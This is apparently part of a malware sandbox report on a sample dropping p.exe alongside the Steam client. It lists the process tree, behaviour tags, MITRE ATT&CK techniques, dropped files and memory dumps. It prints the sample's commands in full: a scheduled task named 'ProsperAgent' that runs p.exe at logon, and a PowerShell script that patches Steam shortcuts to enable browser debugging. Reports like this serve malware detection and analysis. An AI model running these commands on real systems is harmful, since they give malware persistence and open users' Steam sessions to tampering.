- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exeschtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\p.exe\" /rl limited /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe" -shutdown2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\taskkill.exetaskkill /t /f /pid 28682⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\Common Files\Steam\steamservice.exe"C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Steam\Steam.exe"C:\Program Files (x86)\Steam\Steam.exe"1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Steam\steamsysinfo.exe"C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1785187029 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\8597.tmp2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=6156" "-buildid=1785187029" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"2⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1785187029 --initial-client-data=0x28c,0x290,0x294,0x288,0x298,0x7ffc99adaea0,0x7ffc99adaeac,0x7ffc99adaeb83⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1948,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1952 --mojo-platform-channel-handle=1944 /prefetch:23⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2228,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2260 --mojo-platform-channel-handle=2256 /prefetch:33⤵
- Executes dropped EXE
- System Time Discovery
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=2336,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2348 --mojo-platform-channel-handle=2344 /prefetch:83⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3932,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=3956 --mojo-platform-channel-handle=3952 /prefetch:13⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --field-trial-handle=4808,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4880 --mojo-platform-channel-handle=4876 /prefetch:83⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4892,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4624 --mojo-platform-channel-handle=4720 /prefetch:13⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1785187029 --steamid=0 --gaia-url=http://disabled.invalid --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=5464,i,93893206895601481,8970214328049814726,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5428 --mojo-platform-channel-handle=5296 /prefetch:13⤵
- Checks computer location settings
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery64.exe.\bin\gldriverquery64.exe2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery.exe.\bin\gldriverquery.exe2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe.\bin\vulkandriverquery64.exe2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe.\bin\vulkandriverquery.exe2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe"C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe"C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates3⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Common Files\Steam\steamservice.exe"C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Program Files (x86)\Common Files\Steam\steamservice.exe"C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Modify Authentication Process
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Ignore Process Interrupts
1Modify Authentication Process
1Modify Registry
2Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
service_default_Public_versions.vdf
service_minimum_versions.vdf
Steam.exe
appinfo.vdf
appinfo.vdf.temp105622075
appinfo.vdf~RFe64d31f.TMP
bd2b709a08caf7286f73c51d3b3937667f7aa053.jpg
SteamService.exe
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf
config.vdf~RFe5ad785.TMP
settings.dat
bootstrap_log.txt
cef_log.txt
btnOvrOffBottom.tga_
cloud_localfiles.tga_
icon_button_news_mousedown.tga_
tabStdBottom.tga_
steam_cloudsync.ico_
steam_cloudsync_posix.tga_
steam_tray.tga_
filter_clean_bulgarian.txt.gz_
filter_clean_schinese.txt.gz_
game_details_header_green.tga_
steambootstrapper_brazilian.txt
steambootstrapper_bulgarian.txt
steambootstrapper_czech.txt
steambootstrapper_danish.txt
steambootstrapper_dutch.txt
steambootstrapper_english.txt
steambootstrapper_finnish.txt
steambootstrapper_french.txt
steambootstrapper_german.txt
steambootstrapper_greek.txt
steambootstrapper_hungarian.txt
steambootstrapper_indonesian.txt
steambootstrapper_italian.txt
steambootstrapper_japanese.txt
steambootstrapper_koreana.txt
steambootstrapper_latam.txt
steambootstrapper_norwegian.txt
steambootstrapper_polish.txt
steambootstrapper_portuguese.txt
steambootstrapper_romanian.txt
steambootstrapper_russian.txt
steambootstrapper_schinese.txt
steambootstrapper_spanish.txt
steambootstrapper_swedish.txt
steambootstrapper_tchinese.txt
steambootstrapper_thai.txt
steambootstrapper_turkish.txt
steambootstrapper_ukrainian.txt
steambootstrapper_vietnamese.txt
filter_banned_english_cached.txt
filter_banned_english_cached_timestamp.txt
filter_profanity_english_cached.txt
steam.exe
libraryfolders.vdf.async6156.tmp
serverbrowser_hist.vdf
sharedconfig.vdf
remotecache.vdf
licensecache.async6156.tmp
localconfig.vdf
localconfig.vdf
localconfig.vdf
localconfig.vdf
localconfig.vdf
localconfig.vdf
localconfig.vdf
localconfig.vdf~RFe64956b.TMP
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
the-real-index
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe58a860.TMP
Local State
Local State
Local State
Local State
Local State
Local State
market_active_boundary.txt
market_history_anchor.txt
store_history_anchor.txt
76561198058023994.json
inventory_snapshot_76561198058023994_730_2.json.tmp
trade_presentation_ledger_v1.json.bak
trade_presentation_ledger_v1.json.bak
trade_presentation_ledger_v1.json.bak
3b2ee74a-10d8-4463-8d11-91875a63aacc.tmp
f_000007
f_000013
f_000015
f_000105
f_000106
f_000107
f_000108
f_000109
f_00010a
f_00010d
f_00010f
f_000110
f_000111
f_000112
f_000113
f_000114
f_000115
f_000117
f_00011b
f_00011c
f_00011d
f_00011e
f_000120
f_00012d
f_00012f
f_000140
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index~RFe5b2557.TMP
CURRENT
data_0
data_1
data_2
data_3
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State~RFe5be4a0.TMP
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity~RFe5b75c9.TMP
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences~RFe5b2c5c.TMP
MANIFEST-000001
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State~RFe5abd75.TMP
__PSScriptPolicyTest_1pgnbd3v.oh0.ps1
System.dll
modern-wizard.bmp
nsDialogs.dll
nsExec.dll
nsProcess.dll
p.exe
p.exe
609a4b51-0836-417d-9caa-0cbb16655265.tmp
f_000002
the-real-index
the-real-index
index
dasherSettingSchema.json
service_worker_bin_prod.js
messages.json
craw_background.js
Network Persistent State
Network Persistent State
Preferences
Preferences
Preferences
Preferences~RFe66abf6.TMP
the-real-index
the-real-index~RFe66e74a.TMP
the-real-index
the-real-index
Local State
Local State
Local State
Local State
Local State
Local State~RFe666e13.TMP
73df1429-4a48-4a6d-8bfc-7ae0b6608375.tmp
messages.json
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
d356105fac5527ef.customDestinations-ms
Unconfirmed 372802.crdownload
memory/1172-16433-0x0000026060C50000-0x0000026060CF9000-memory.dmp
memory/2152-19162-0x000001F941870000-0x000001F941919000-memory.dmp
memory/3648-6902-0x00000000000E0000-0x0000000000592000-memory.dmp
memory/3648-6896-0x00000000000E0000-0x0000000000592000-memory.dmp
memory/3940-18295-0x000001E74A300000-0x000001E74A3A9000-memory.dmp
memory/4920-17710-0x00000203A3E40000-0x00000203A3EE9000-memory.dmp
memory/5124-18935-0x0000024E1D080000-0x0000024E1D129000-memory.dmp
memory/5260-13821-0x000001B0AA0B0000-0x000001B0AA159000-memory.dmp
memory/5336-16418-0x000001775D0F0000-0x000001775D199000-memory.dmp
memory/5356-13598-0x00007FFCBC270000-0x00007FFCBC271000-memory.dmp
memory/5356-13597-0x00007FFCBBEB0000-0x00007FFCBBEB1000-memory.dmp
memory/6072-13537-0x00000000009F0000-0x0000000000EF9000-memory.dmp
memory/6156-16461-0x000001DFF6180000-0x000001DFF6384000-memory.dmp
memory/6156-16672-0x000001DFF6180000-0x000001DFF6384000-memory.dmp
memory/6156-16416-0x000001DFF6180000-0x000001DFF6384000-memory.dmp
memory/6156-17027-0x000001DFF6180000-0x000001DFF6384000-memory.dmp
memory/6540-18887-0x000001DB919A0000-0x000001DB91A49000-memory.dmp
memory/7124-17708-0x000001BC4BCF0000-0x000001BC4BD99000-memory.dmp
memory/7132-16269-0x000002814ACD0000-0x000002814AD79000-memory.dmp
memory/7136-18816-0x000001DA832D0000-0x000001DA83379000-memory.dmp
memory/7140-18606-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18605-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18600-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18598-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18604-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18607-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18599-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18602-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7140-18603-0x0000022CD83B0000-0x0000022CD83B1000-memory.dmp
memory/7228-15913-0x0000025D2B700000-0x0000025D2B7A9000-memory.dmp
memory/7528-17614-0x000002C581C70000-0x000002C581D19000-memory.dmp
memory/7988-15490-0x0000021D8A480000-0x0000021D8A529000-memory.dmp
memory/8100-18944-0x000002A0CF9D0000-0x000002A0CFBD4000-memory.dmp
memory/8100-18794-0x000002A0CF9D0000-0x000002A0CFBD4000-memory.dmp
memory/8100-17454-0x000002A0CF9D0000-0x000002A0CFBD4000-memory.dmp
memory/8100-18420-0x000002A0CF9D0000-0x000002A0CFBD4000-memory.dmp
memory/8500-13873-0x000001D7382D0000-0x000001D738379000-memory.dmp
memory/8696-16632-0x000001655E3B0000-0x000001655E459000-memory.dmp
memory/9140-13850-0x0000027ACF200000-0x0000027ACF2A9000-memory.dmp
memory/9572-16910-0x000001FA076E0000-0x000001FA07789000-memory.dmp
memory/9772-15953-0x000001D72C1F0000-0x000001D72C266000-memory.dmp
memory/9772-15952-0x000001D72C120000-0x000001D72C164000-memory.dmp
memory/9772-15944-0x000001D72BC40000-0x000001D72BC62000-memory.dmp
memory/9800-17513-0x0000025776D40000-0x0000025776DE9000-memory.dmp
memory/9976-16434-0x0000018A78F80000-0x0000018A79029000-memory.dmp
memory/10156-16296-0x000002463DF60000-0x000002463DFFC000-memory.dmp
memory/10192-14033-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14022-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14032-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14031-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14023-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14027-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14028-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14029-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14030-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp
memory/10192-14021-0x00000268AB6B0000-0x00000268AB6B1000-memory.dmp